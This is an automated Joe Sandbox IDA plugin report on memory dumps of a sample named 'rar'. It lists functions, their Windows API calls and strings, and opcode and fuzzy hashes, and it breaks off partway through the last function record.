Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Exception$Throwstd::bad_alloc::bad_alloc$FileHeaderRaise
String ID:
API String ID: 904936192-0
Opcode ID: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction ID: 30d68d39f1552036ea92de0c5a8d2bfb825db467f0e1b7073e99b3dcca2f8f3b
Opcode Fuzzy Hash: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction Fuzzy Hash: D251D172A19A8182EB50CF25D4503AD73A1FBC4B94F048235DE6E877D8EF79D51AC300

Function 00007FF6FAA43818 Relevance: 6.1, APIs: 4, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,00000004,00000000,?,?,?,?,?,00007FF6FAA3F6FC,00000000,?,?,?,?,00007FF6FAA4097D), ref: 00007FF6FAA438CD
CreateFileW.KERNEL32(?,?,?,?,?,00007FF6FAA3F6FC,00000000,?,?,?,?,00007FF6FAA4097D,?,?,00000000), ref: 00007FF6FAA4391F
SetFileTime.KERNEL32(?,?,?,?,?,00007FF6FAA3F6FC,00000000,?,?,?,?,00007FF6FAA4097D,?,?,00000000), ref: 00007FF6FAA4399B
CloseHandle.KERNEL32(?,?,?,?,?,00007FF6FAA3F6FC,00000000,?,?,?,?,00007FF6FAA4097D,?,?,00000000), ref: 00007FF6FAA439A6

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6b21d4b4015e45ce14e3c1bb02d2562928349115458abc9ea3e67fc953cea0f1
Instruction ID: 8464d4586d3309736422a9d415b354ba1152a818175d9268e44ed05b826cdf87
Opcode Fuzzy Hash: 6b21d4b4015e45ce14e3c1bb02d2562928349115458abc9ea3e67fc953cea0f1
Instruction Fuzzy Hash: 2041D422A0CA4142FB508B15A41177AA7A0BF867A4F104275FEAD877E9FF7DD40F8B00

Function 00007FF6FAA70244 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA703D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA703E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA703EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA70400

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction ID: 4737ae4688142e412c62d93a69a2a1a4df5e586ad3cfde072c5886093d7520d8
Opcode Fuzzy Hash: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction Fuzzy Hash: 0F41B462A0CAC285EB619B21D0503BF2790EF50B84F184572DBADC6ADDFF2CE55B8350

Function 00007FF6FAA85120 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA85173
WideCharToMultiByte.KERNEL32 ref: 00007FF6FAA85245
GetLastError.KERNEL32 ref: 00007FF6FAA85268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA8529A

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction ID: f3eefea7efb58d10738c797987ec515fec005eeaf54eef6ea48e84e37c7f7f52
Opcode Fuzzy Hash: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction Fuzzy Hash: 71419032A0D7C346FB65AB519040379A7A5EF50B90F5481B0DEAD86AD9FF3CE84B8700

Function 00007FF6FAA3D048 Relevance: 6.1, APIs: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00007FF6FAA286CB,?,?,?,00007FF6FAA2A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6FAA22DF9), ref: 00007FF6FAA3D09D
CreateFileW.KERNEL32(?,00007FF6FAA286CB,?,?,?,00007FF6FAA2A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6FAA22DF9), ref: 00007FF6FAA3D0E5
CreateFileW.KERNEL32(?,00007FF6FAA286CB,?,?,?,00007FF6FAA2A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6FAA22DF9), ref: 00007FF6FAA3D114
CreateFileW.KERNEL32(?,00007FF6FAA286CB,?,?,?,00007FF6FAA2A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6FAA22DF9), ref: 00007FF6FAA3D15C

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction ID: f107410cfd0974a4a8ed6419a65d2e07d61725c0d82150c27247680645afe23d
Opcode Fuzzy Hash: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction Fuzzy Hash: 04316032618B4582E7A08F11F5557AA77A0F789BA8F504329EEBD47BC8DF3DD4098B04

Function 00007FF6FAA6B4EC Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6FAA6B549
SetPriorityClass.KERNEL32 ref: 00007FF6FAA6B554
GetCurrentThread.KERNEL32 ref: 00007FF6FAA6B55A
SetThreadPriority.KERNEL32 ref: 00007FF6FAA6B565

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CurrentPriorityThread$ClassProcess
String ID:
API String ID: 1171435874-0
Opcode ID: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction ID: 1d143abf8adbd2fbc74b0115926987af9cd83bf8bed4e7f05a4a1333c6ddcdf5
Opcode Fuzzy Hash: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction Fuzzy Hash: 24113C32A986428AE7648B18E6843BC6261EB89740F200079C72F977D5EF2DB85F4A04

Function 00007FF6FAA85630 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6FAA7F3FC,?,?,?,00007FF6FAA8143D), ref: 00007FF6FAA8563A
SetLastError.KERNEL32(?,?,?,00007FF6FAA7F3FC,?,?,?,00007FF6FAA8143D), ref: 00007FF6FAA856A2
SetLastError.KERNEL32(?,?,?,00007FF6FAA7F3FC,?,?,?,00007FF6FAA8143D), ref: 00007FF6FAA856B8
abort.LIBCMT ref: 00007FF6FAA856BE

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction ID: 9b5e70cc3f2b17c0f62f2173edb9c858b72e72612d798fc750be4a956f065d03
Opcode Fuzzy Hash: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction Fuzzy Hash: 75019A20B0D68343FB59A771965513993969F48BC0F0806B8ED3E86BD6FD2DE84F4200

Function 00007FF6FAA6B850 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA6BBFC: ResetEvent.KERNEL32 ref: 00007FF6FAA6BC15
Part of subcall function 00007FF6FAA6BBFC: ReleaseSemaphore.KERNEL32 ref: 00007FF6FAA6BC2B

ReleaseSemaphore.KERNEL32 ref: 00007FF6FAA6B887
CloseHandle.KERNEL32 ref: 00007FF6FAA6B8A8
DeleteCriticalSection.KERNEL32 ref: 00007FF6FAA6B8C0
CloseHandle.KERNEL32 ref: 00007FF6FAA6B8CE

Part of subcall function 00007FF6FAA6B974: WaitForSingleObject.KERNEL32 ref: 00007FF6FAA6B97B
Part of subcall function 00007FF6FAA6B974: GetLastError.KERNEL32 ref: 00007FF6FAA6B986

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction ID: f055207ec4ced412b2f1200a883835b9a67ee3366f8f3a4654242fc2598676c5
Opcode Fuzzy Hash: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction Fuzzy Hash: 06118232614A41D7E3549B24E544669A330FB8ABA0F000231DBBD533E5DF3AE47AC704

Function 00007FF6FAA858A4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA85908

Strings

gfffffff, xrefs: 00007FF6FAA85B96

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction ID: e926bb93ee9d991247aab85109453c5ef9f6231b7edde4a3e382dd3d8abd7531
Opcode Fuzzy Hash: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction Fuzzy Hash: CA910662B0D3C786EB258F259184378AB99AB25BD0F048171CEAD873D5FE3DE51AC301

Function 00007FF6FAA5CFCF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA6B6D0: Sleep.KERNEL32(?,?,?,?,00007FF6FAA3CBED,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA6B730

new.LIBCMT ref: 00007FF6FAA5CFD9

Strings

rev, xrefs: 00007FF6FAA5D00F
rar, xrefs: 00007FF6FAA5D074

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Sleep
String ID: rar$rev
API String ID: 3472027048-2145959568
Opcode ID: 50351231c3f8732b734c05f1f2968c465adcf4732fcc2a7da3cc46214972e448
Instruction ID: 95f34a9d5685c6800b3a2bf855e594ee73b6e5ba0cf7e92d6a4ce3f153de5954
Opcode Fuzzy Hash: 50351231c3f8732b734c05f1f2968c465adcf4732fcc2a7da3cc46214972e448
Instruction Fuzzy Hash: E8A1DF22E097928AEB20DB68C4542BD63A5FF44B84F4540B5DA7E876D6FF2CE54AC304

Function 00007FF6FAA7F7CC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA7F7FE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA7FA3C

Strings

*, xrefs: 00007FF6FAA7F90C

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction ID: 604ddb360e157dc0a07a3cb40a7dbc404bec5f6175bd558469a458ae74654943
Opcode Fuzzy Hash: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction Fuzzy Hash: 0971627391865286E7648F38804103E37A0FB45F58F2411B6DA6AC23DDEF39D68AD725

Function 00007FF6FAA85CD4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA85D17

Strings

gfff, xrefs: 00007FF6FAA85E42
e+000, xrefs: 00007FF6FAA85DBF

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction ID: d8a0cdc8bb882e654fd20e0c06d6f508c1437f05fc4c24c47139fdf552a62238
Opcode Fuzzy Hash: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction Fuzzy Hash: 44510762B1D7C246E7258F3599413697B95EB41B90F0882B1CAACC7BDAEF2CD44AC700

Function 00007FF6FAA54534 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,00000800,?,?,00000000,00007FF6FAA4475B,?,00000000,?,?,00007FF6FAA44620,?,00000000,?), ref: 00007FF6FAA54633

Strings

UNC, xrefs: 00007FF6FAA54614
\\?\, xrefs: 00007FF6FAA545B6, 00007FF6FAA54602, 00007FF6FAA54684, 00007FF6FAA546D3

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CurrentDirectory
String ID: UNC$\\?\
API String ID: 1611563598-253988292
Opcode ID: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction ID: 53d8a099c78331eb95c55916e0ea07e1a0efd995ff8677c0100d00fad3bc44d0
Opcode Fuzzy Hash: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
